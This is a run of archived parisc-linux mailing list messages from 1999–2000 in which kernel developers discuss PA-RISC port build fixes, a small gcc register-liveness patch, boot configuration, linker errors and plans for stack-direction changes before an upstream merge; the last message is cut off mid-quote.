	for <parisc-linux@puffin.external.hp.com>; Sun, 3 Dec 2000 06:14:35 -0700
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 142YrT-0002i5-00; Sun, 3 Dec 2000 13:07:23 +0000
In-Reply-To: <200012030904.BAA02744@milano.cup.hp.com> from "Grant Grundler" at Dec 03, 2000 01:04:08 AM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:8742

> This could be related to willy's changes - I have no idea.

Yeah there was a bogus unused file called hardware_proc.o. Looks like we 
forgot to take it out of the 64bit Makefile. Just lose it from there



From - Thu Nov 08 21:14:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] merge activity
Date: Sun, 3 Dec 2000 13:15:49 +0000 (GMT)
Lines: 22
Approved: news@gmane.org
Message-ID: <E142Yzf-0002iw-00@the-village.bc.nu>
References: <200012030511.VAA02450@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619384 7903 80.91.229.3 (22 Nov 2014 01:23:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:04 +0000 (UTC)
Cc: matthew@wil.cx (Matthew Wilcox), parisc-linux@thepuffingroup.com
To: grundler@cup.hp.com (Grant Grundler)
Original-X-From: alan@lxorguk.ukuu.org.uk  Sun Dec  3 06:17:08 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA20947
	for <parisc-linux@puffin.external.hp.com>; Sun, 3 Dec 2000 06:17:08 -0700
Original-Received: (qmail 10173 invoked by uid 15267); 3 Dec 2000 13:19:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10161 invoked from network); 3 Dec 2000 13:19:40 -0000
Original-Received: from lightning.swansea.linux.org.uk (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 3 Dec 2000 13:19:40 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 142Yzf-0002iw-00; Sun, 3 Dec 2000 13:15:51 +0000
In-Reply-To: <200012030511.VAA02450@milano.cup.hp.com> from "Grant Grundler" at Dec 02, 2000 09:11:48 PM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:8743

> Why differentiate? Debuggers. I want to make sure all the symbols
> I care about are visible - I'm told under ELF they are. Under SOM
> binary format I know they weren't.

SOM is dead so we can now drop them. I understood why they were there 
though

> > u_long becomes unsigned long
> 
> I've been using "ulong" as well. Is less than desirable as well?
> Feel free to change if it is.

It would be nice too, or where the bitwidth matters to use u32/u64.

> Some of the "ifdef 0" I have in "my" code are there for future stuff.
> An examples is code related to DELAYED_RESOURCE_CNT in sba_iommu.c.
> Fortunately, this wasn't removed.
> Haw should I mark this to make sure people understand it's work-in-progress?

Most of it seemed obviously so already.



From - Thu Nov 08 21:14:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] merge activity
Date: Sun, 3 Dec 2000 13:12:55 +0000 (GMT)
Lines: 8
Approved: news@gmane.org
Message-ID: <E142Ywr-0002ib-00@the-village.bc.nu>
References: <200012030656.WAA02559@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619385 7916 80.91.229.3 (22 Nov 2014 01:23:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:05 +0000 (UTC)
Cc: grundler@cup.hp.com (Grant Grundler), matthew@wil.cx (Matthew Wilcox),
        parisc-linux@thepuffingroup.com
To: grundler@cup.hp.com (Grant Grundler)
Original-X-From: alan@lxorguk.ukuu.org.uk  Sun Dec  3 06:17:22 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA21210
	for <parisc-linux@puffin.external.hp.com>; Sun, 3 Dec 2000 06:17:22 -0700
Original-Received: (qmail 10383 invoked by uid 15267); 3 Dec 2000 13:19:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10365 invoked from network); 3 Dec 2000 13:19:54 -0000
Original-Received: from lightning.swansea.linux.org.uk (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 3 Dec 2000 13:19:54 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 142Ywr-0002ib-00; Sun, 3 Dec 2000 13:12:57 +0000
In-Reply-To: <200012030656.WAA02559@milano.cup.hp.com> from "Grant Grundler" at Dec 02, 2000 10:56:28 PM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:8744

> I do see #ifdef DUMP_RESMAP code (not much code) has been removed.
> Obviously it wasn't marked right. :^)
> (arch/parisc/kernel/sba_iommu.c)

The files I touched I removed dump_resmap from one file because nobody
even referenced it there. The other cases its alternatively a null inline
or a real function to get rid of some of the other ifdef crap


From - Thu Nov 08 21:14:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64-bit build broken
Date: Sun, 3 Dec 2000 14:05:00 +0000
Lines: 11
Approved: news@gmane.org
Message-ID: <20001203140500.A12912@parcelfarce.linux.theplanet.co.uk>
References: <200012030904.BAA02744@milano.cup.hp.com> <E142YrT-0002i5-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619385 7927 80.91.229.3 (22 Nov 2014 01:23:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:05 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, parisc-linux@puffin.external.hp.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: willy@www.linux.org.uk  Sun Dec  3 07:28:51 2000
Original-Received: from www.linux.org.uk (IDENT:root@parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id HAA22378
	for <parisc-linux@puffin.external.hp.com>; Sun, 3 Dec 2000 07:28:51 -0700
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 142ZlE-0003RK-00; Sun, 03 Dec 2000 14:05:00 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <E142YrT-0002i5-00@the-village.bc.nu>; from alan@lxorguk.ukuu.org.uk on Sun, Dec 03, 2000 at 01:07:22PM +0000
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8745

On Sun, Dec 03, 2000 at 01:07:22PM +0000, Alan Cox wrote:
> > This could be related to willy's changes - I have no idea.
> 
> Yeah there was a bogus unused file called hardware_proc.o. Looks like we 
> forgot to take it out of the 64bit Makefile. Just lose it from there

done.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Mon, 4 Dec 2000 12:41:29 +1100 (EST)
Lines: 30
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0012041223530.13095-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0012021932030.21742-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619386 7938 80.91.229.3 (22 Nov 2014 01:23:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:06 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>
To: parisc-linux@thepuffingroup.com
Original-X-From: alan@linuxcare.com.au  Sun Dec  3 18:39:06 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA26212
	for <parisc-linux@puffin.external.hp.com>; Sun, 3 Dec 2000 18:39:06 -0700
Original-Received: (qmail 29961 invoked by uid 15267); 4 Dec 2000 01:41:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29938 invoked from network); 4 Dec 2000 01:41:34 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 4 Dec 2000 01:41:34 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id MAA18157;
	Mon, 4 Dec 2000 12:41:29 +1100
In-Reply-To: <Pine.LNX.4.21.0012021932030.21742-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:8746

I've applied this patch to pehc CVS to fix an hppa64 gcc problem that
Richard found when compiling modules for the 64-bit kernel.  It's not
specific to modules, but rather can affect anything requiring stubs to
call functions, eg. 64-bit userland linked to shared libs.

-- 
Linuxcare.  Support for the Revolution.

--- gcc/flow.c~	Thu Sep 28 10:37:45 2000
+++ gcc/flow.c	Mon Dec  4 09:53:44 2000
@@ -3298,7 +3298,17 @@
 	 to any pseudo before reload is a potential reference of the
 	 frame pointer.  */
       if (! reload_completed)
-	SET_REGNO_REG_SET (new_live_at_end, FRAME_POINTER_REGNUM);
+	{
+	  SET_REGNO_REG_SET (new_live_at_end, FRAME_POINTER_REGNUM);
+#ifdef PIC_OFFSET_TABLE_REGNUM
+	  /* And also for the pic register.  References to constants
+	     may require reloading via the pic register.  Assume the
+	     pic register is not in use, or will be handled by other
+	     means, if it is not fixed.  */
+	  if (fixed_regs[PIC_OFFSET_TABLE_REGNUM])
+	    SET_REGNO_REG_SET (new_live_at_end, PIC_OFFSET_TABLE_REGNUM);
+#endif
+	}
 
       /* Regs used in phi nodes are not included in
 	 global_live_at_start, since they are live only along a


From - Thu Nov 08 21:14:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thomas Marteau" <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Again trouble with HP9000/821/D250
Date: Mon, 4 Dec 2000 09:46:38 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <001801c05dce$b717a480$a832d793@esiee.fr>
References: <3A298032.7CBAEB95@bawue.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619386 7941 80.91.229.3 (22 Nov 2014 01:23:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:06 +0000 (UTC)
Cc: <parisc-linux@thepuffingroup.com>
To: "Andreas Thienemann" <andreas@bawue.de>
Original-X-From: marteaut@esiee.fr  Mon Dec  4 01:41:30 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA28727
	for <parisc-linux@puffin.external.hp.com>; Mon, 4 Dec 2000 01:41:29 -0700
Original-Received: (qmail 14889 invoked by uid 15267); 4 Dec 2000 08:44:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14882 invoked from network); 4 Dec 2000 08:43:59 -0000
Original-Received: from mail.esiee.fr (147.215.1.3)
  by mailserv2.iuinc.com with SMTP; 4 Dec 2000 08:43:59 -0000
Original-Received: from pc5158b (pc5158b.esiee.fr [147.215.50.168])
	by mail.esiee.fr (Postfix) with SMTP
	id 4CD4AD158B; Mon,  4 Dec 2000 09:43:58 +0100 (CET)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Xref: news.gmane.org gmane.linux.ports.parisc:8747

Hi Andreas,

    You say to your kernel that you boot with the nfsroot support and you
told us in your mail that is ramdisk boot you want. To my mind, nfsroot is
better, especially if you go to http://www.esiee.fr/puffin and you download
our fs root with lynx and termcap.

    But your problem comes from the point that you did not configure your
palo Makefile. If you want ramdisk, edit Makefile in Palo directory,
uncomment # RAMDISK and comment NFSROOT=10.0.0.2 and be sure of the name of
the file containing the ramdisk (that should be in your tftpboot as far as I
know!).


From - Thu Nov 08 21:14:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pci changes
Date: Mon, 4 Dec 2000 05:54:08 -0700 (MST)
Lines: 18
Approved: news@gmane.org
Message-ID: <200012041254.FAA15582@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619386 7947 80.91.229.3 (22 Nov 2014 01:23:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:06 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: jsm@udlkern.fc.hp.com  Mon Dec  4 05:52:50 2000
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id FAA31554
	for <parisc-linux@puffin.external.hp.com>; Mon, 4 Dec 2000 05:52:49 -0700
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel2.hp.com (Postfix) with ESMTP id 6EC865DD
	for <parisc-linux@puffin.external.hp.com>; Mon,  4 Dec 2000 07:55:23 -0500 (EST)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id FAA15582 for parisc-linux@puffin.external.hp.com; Mon, 4 Dec 2000 05:54:08 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:8748

> we're getting close to merging -- just waiting for some replies from linus
> about some things we do which are slightly ugly and there's no obvious
> non-ugly way to do them.

What exactly are you talking about here? Are you attempting to get our
machine independent changes in at this time? I thought we had decided
that we were only going to send him the machine dependent part of the
tree at this time.

There are still issues that need to be resolved in the machine independent
code that will cause things to be done differently from the way we are
doing them now (e.g. stack direction, stack location, possibly some cache
flushing).  It does not make sense to try to merge the machine independent
code at this time in my opinion.

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:14:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kumar <kumar@ix.netcom.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linker errors
Date: Wed, 5 May 1999 19:43:53 -0700 (PDT)
Lines: 65
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990505193047.183B-100000@quark.ix.netcom.com>
References: <Pine.LNX.3.96.990505012802.22012I-100000@devserv.devel.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619386 7948 80.91.229.3 (22 Nov 2014 01:23:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:06 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@redhat.com>
Original-X-From: kumar@ix.netcom.com  Thu Apr 29 20:00:02 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id UAA17206
	for <parisc-linux@puffin.external.hp.com>; Thu, 29 Apr 1999 20:00:01 -0600
Original-Received: (qmail 26898 invoked by uid 15267); 6 May 1999 03:41:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26891 invoked from network); 6 May 1999 03:41:34 -0000
Original-Received: from dfw-ix6.ix.netcom.com (206.214.98.6)
  by mailserv2.iuinc.com with SMTP; 6 May 1999 03:41:34 -0000
Original-Received: (from smap@localhost)
          by dfw-ix6.ix.netcom.com (8.8.4/8.8.4)
	  id WAA12387; Wed, 5 May 1999 22:43:25 -0500 (CDT)
Original-Received: from sji-ca11-124.ix.netcom.com(209.109.237.124) by dfw-ix6.ix.netcom.com via smap (V1.3)
	id rma012275; Wed May  5 22:42:33 1999
In-Reply-To: <Pine.LNX.3.96.990505012802.22012I-100000@devserv.devel.redhat.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8749



OK, I used milli.S from the source distribution.. and its linked properly.

I do get warning messages like -
Ignoing subspace declaration due to ELF bfd bugs, but it did link.

Loader is not ELF aware yet, though. Tried u_entry in mklifheader to
be after ELF header in vmlinux..did not work. 

					
Also the comment in linux/include/asm-parisc/pgtable.h is wrong.

/*
 * The Linux memory management assumes a three-level page table setup. On
 * the PARISC, we use that, but "fold" the mid level into the top-level page
 * table, so that we physically have the same two-level page table as the
 * PARISC mmu expects.
 */
 PARISC MMU does not enforce any structure on page tables. In particular, 
 page table/tables are not multi-level. PA depends on the format of TLB
 insert instructions. I guess all we are going to have is one big flat
 page dir in memory, which is nothing but a bigger TLB cache. Could
 someone with write access to CVS source base can correct this.

 						-pkd



On Wed, 5 May 1999, Alex deVries wrote:

> 
> On Tue, 4 May 1999, Kumar wrote:
> > I am getting following errors even from the latest binutils and
> > parisc-linux-gcc. Are there any special LDFLAGS that one needs to use ?
> > 						-pkd
> > 
> > parisc-linux-ld -L. -R 0x100000 -N -S rom_interface.o setup.o utils.o
> > strutils.o bcopy.o main.o io.o -l milli -o vmlinux
> > parisc-linux-ld: can not size stub section: Bad value
> > rom_interface.o: In function `cout_putc':
> > rom_interface.o($CODE$+0xe4): undefined reference to `$$dyncall'
> > rom_interface.o: In function `bootdev_sread':
> > rom_interface.o($CODE$+0xe0): undefined reference to `$$dyncall'
> > rom_interface.o: In function `pdc_call':
> > rom_interface.o($CODE$+0x118): undefined reference to `$$dyncall'
> > main.o: In function `parisc_init':
> > main.o($CODE$+0x208): undefined reference to `$$divU'
> > make: *** [vmlinux] Error 1
> > 
> 
> Hm.  I don't get this at all... it certainly links for me.  I do get a lot
> of errors with the linker itself, but nothing fatal.
> 
> Are you using the pre-built cross compilers? If so, which ones?
> 
> - Alex
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 
> 


From - Thu Nov 08 21:14:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pci changes
Date: Mon, 4 Dec 2000 13:13:23 +0000
Lines: 31
Approved: news@gmane.org
Message-ID: <20001204131323.D24826@parcelfarce.linux.theplanet.co.uk>
References: <200012041254.FAA15582@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619387 7954 80.91.229.3 (22 Nov 2014 01:23:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:07 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: willy@www.linux.org.uk  Mon Dec  4 06:24:11 2000
Original-Received: from www.linux.org.uk (IDENT:root@parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id GAA32352
	for <parisc-linux@puffin.external.hp.com>; Mon, 4 Dec 2000 06:24:10 -0700
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 142vQp-00008u-00; Mon, 04 Dec 2000 13:13:23 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <200012041254.FAA15582@udlkern.fc.hp.com>; from jsm@udlkern.fc.hp.com on Mon, Dec 04, 2000 at 05:54:08AM -0700
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8750

On Mon, Dec 04, 2000 at 05:54:08AM -0700, John Marvin wrote:
> > we're getting close to merging -- just waiting for some replies from linus
> > about some things we do which are slightly ugly and there's no obvious
> > non-ugly way to do them.
> 
> What exactly are you talking about here? Are you attempting to get our
> machine independent changes in at this time? I thought we had decided
> that we were only going to send him the machine dependent part of the
> tree at this time.

Alan wants to put some of our independnt parts in too.  I'm just sorting
out the stack direction and location issues in the way Linus wants
it done.

> There are still issues that need to be resolved in the machine independent
> code that will cause things to be done differently from the way we are
> doing them now (e.g. stack direction, stack location, possibly some cache
> flushing).  It does not make sense to try to merge the machine independent
> code at this time in my opinion.
> 
> John Marvin
> jsm@fc.hp.com
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pci changes
Date: Mon, 4 Dec 2000 06:55:36 -0700 (MST)
Lines: 42
Approved: news@gmane.org
Message-ID: <200012041355.GAA16592@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619387 7955 80.91.229.3 (22 Nov 2014 01:23:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:07 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: jsm@udlkern.fc.hp.com  Mon Dec  4 06:54:17 2000
Original-Received: from cosrel1.hp.com (cosrel1.hp.com [156.153.255.170])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id GAA00712
	for <parisc-linux@puffin.external.hp.com>; Mon, 4 Dec 2000 06:54:17 -0700
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by cosrel1.hp.com (Postfix) with ESMTP id 27BDD2A6
	for <parisc-linux@puffin.external.hp.com>; Mon,  4 Dec 2000 06:56:52 -0700 (MST)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id GAA16592 for parisc-linux@puffin.external.hp.com; Mon, 4 Dec 2000 06:55:36 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:8751

> Alan wants to put some of our independnt parts in too.  I'm just sorting
> out the stack direction and location issues in the way Linus wants
> it done.

Well, here are some of the issues I would like to see addressed:

1) When I last checked, the stack growth fix only fixed one of the locations
   that cared about stack direction. There were others that were not fixed.
   Are you going to fix them?

2) The current fix duplicated machine independent code (expand_stack
   and find_vma), modified them, and placed them into the machine
   dependent code. The problem with that is that whenever changes are
   made to expand_stack and/or find_vma, we have to notice that and
   port the fixes, since whoever makes the changes is not likely to
   notice our special versions. I was hoping that we could get some
   support for stacks that grow up in the machine independent code
   so that they are visible.

3) I hope that we will have some control of the stack location in the
   machine dependent code. I would like to be able to place the stack
   near the top of memory, and have the location based on the stack
   size limit (rlim[RLIMIT_STACK].rlim_max).

4) The top of memory for user space is currently 0xc0000000, but I hope
   to change that to 0xffffe000 in the next month or two.

5) To make it clear "why" the code is different, I was hoping that
   any #ifdef's in the machine independent code for stack grows up
   changes would be something like #ifdef STACK_GROWS_UP, rather than
   #ifdef parisc. Then STACK_GROWS_UP would be set for parisc. This
   way, when people are making changes to the code, they will understand
   what the different code is for, rather than wondering why parisc
   has that code change. Also, it would help all those other future
   architectures with stacks that grow up when they port Linux :-).

I would appreciate it if you would keep us informed regarding discussions
between you and Linus regarding this issue.

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:14:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pci changes
Date: Mon, 4 Dec 2000 07:09:01 -0700 (MST)
Lines: 7
Approved: news@gmane.org
Message-ID: <200012041409.HAA16995@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619387 7958 80.91.229.3 (22 Nov 2014 01:23:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:07 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: jsm@udlkern.fc.hp.com  Mon Dec  4 07:07:42 2000
Original-Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id HAA01296
	for <parisc-linux@puffin.external.hp.com>; Mon, 4 Dec 2000 07:07:42 -0700
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by palrel3.hp.com (Postfix) with ESMTP id ED9BC363
	for <parisc-linux@puffin.external.hp.com>; Mon,  4 Dec 2000 06:10:15 -0800 (PST)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id HAA16995 for parisc-linux@puffin.external.hp.com; Mon, 4 Dec 2000 07:09:01 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:8752

FYI, I couldn't remember where the other stack direction issues were, so
I looked them up. The places where expand_stack() is called in 
mm/memory.c and mm/mmap.c will probably need to be changed for parisc.

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:14:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pci changes
Date: Mon, 4 Dec 2000 16:13:04 +0000
Lines: 54
Approved: news@gmane.org
Message-ID: <20001204161304.A12414@parcelfarce.linux.theplanet.co.uk>
References: <200012041355.GAA16592@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619388 7962 80.91.229.3 (22 Nov 2014 01:23:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:08 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: willy@www.linux.org.uk  Mon Dec  4 09:23:51 2000
Original-Received: from www.linux.org.uk (IDENT:root@parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id JAA02547
	for <parisc-linux@puffin.external.hp.com>; Mon, 4 Dec 2000 09:23:50 -0700
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 142yEi-0003Me-00; Mon, 04 Dec 2000 16:13:04 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <200012041355.GAA16592@udlkern.fc.hp.com>; from jsm@udlkern.fc.hp.com on Mon, Dec 04, 2000 at 06:55:36AM -0700
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8753

On Mon, Dec 04, 2000 at 06:55:36AM -0700, John Marvin wrote:
> > Alan wants to put some of our independnt parts in too.  I'm just sorting
> > out the stack direction and location issues in the way Linus wants
> > it done.
> 
> Well, here are some of the issues I would like to see addressed:
> 
> 1) When I last checked, the stack growth fix only fixed one of the locations
>    that cared about stack direction. There were others that were not fixed.
>    Are you going to fix them?

I've fixed the ones which I noticed.  You've pointed out some in your other
mail which I hadn't, I'll look for them.

> 2) The current fix duplicated machine independent code (expand_stack
